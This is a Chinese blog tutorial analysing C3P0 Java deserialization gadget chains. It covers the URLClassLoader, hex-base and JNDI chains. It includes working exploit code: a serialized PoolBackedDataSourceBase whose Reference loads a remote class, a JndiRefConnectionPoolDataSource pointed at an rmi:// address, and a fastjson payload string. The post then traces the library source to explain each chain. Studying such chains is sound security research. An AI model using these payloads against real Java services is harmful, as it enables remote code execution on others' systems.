前言

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。使用它的开源项目有Hibernate、Spring等。之前有接触到过,但是没有深入了解,像之前学二次反序列化时,
WrapperConnectionPoolDataSource
就是C3P0的

环境搭建

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

URLClassLoader

初学者必学的一条链,先给出完整exp,然后一步步分析

package org.example;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class urlClassLoader {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {
        PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        //此类是PoolBackedDataSourceBase抽象类的实现
        Field f1 = clazz.getDeclaredField("connectionPoolDataSource");
        f1.setAccessible(true);
        f1.set(a,new evil());

        ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
        ser.writeObject(a);
        ser.close();
        ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
        unser.readObject();
        unser.close();
    }
    public static class evil implements ConnectionPoolDataSource, Referenceable {
        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("evilref","evilref","http://127.0.0.1:1099/");
        }
    }
}

先看序列化的过程,进入
PoolBackedDataSourceBase
这个类看看
writeObject

该方法会尝试将当前对象的
connectionPoolDataSource
属性进行序列化,如果不能序列化便会在catch块中对
connectionPoolDataSource
属性用
ReferenceIndirector.indirectForm
方法处理后再进行序列化操作,我们跟进
ReferenceIndirector.indirectForm
方法。

此方法会调用
connectionPoolDataSource
属性的
getReference
方法,并用返回结果作为参数实例化一个
ReferenceSerialized
对象,然后将
ReferenceSerialized
对象返回,
ReferenceSerialized
被序列化

这里可以看出reference是可以被我们控制的,接下来看反序列化的操作,
readShort
获取版本号为1,往下走,
首先获取了反序列化后的对象,然后再判断这个对象
o
是否实现了
IndirectlySerialized
接口,在
ReferenceIndirector
的内部类
ReferenceSerialized
中实现了这个接口,所以通过判断,调用了o的
getObject
方法

跟进
getObject
方法,这里居然还有lookup,但是我们这条链的目标不是它,而且这里的lookup很鸡肋

跟进
ReferenceableUtils.referenceToObject
,由于
ref
是在序列化的时候可以控制的参数,那么
fClassName
自然也是可以控制的属性,下面就调用了URLClassLoader实例化我们的远程恶意类

hex base/WrapperConnectionPoolDataSource

如果不出网,而且是fastjson或jackson的情况,可以用这个Gadget,这条链以前见过,就是学二次反序列化时的C3P0那条链,所以这里就不再讲,可以去看看我讲二次反序列化的那篇文章

JNDI

同样也是在fastjson,jackson环境中可用

package org.example;

import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;

import java.beans.PropertyVetoException;
import java.sql.SQLException;

public class JNDI {
    public static void main(String[] args) throws PropertyVetoException, SQLException {
        JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();
        exp.setJndiName("rmi://127.0.0.1:1099/evilref");
        exp.setLoginTimeout(1);
    }
}


fastjson exp:
String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}"

首先
JndiRefConnectionPoolDataSource
类中有属性
jndiname
及其
setter
方法,其
setter
方法会调用内部的
JndiRefForwardingDataSource
对象的
setJndiName
方法,改变
JndiRefForwardingDataSource#jndiname
的值,漏洞点在
setLoginTimeout
处,我们追踪进去,经过几次
setLoginTimeout
来到这

进入
dereference
,获取
jndiName
,然后调用了lookup,达到jndi的效果

标签: none

添加新评论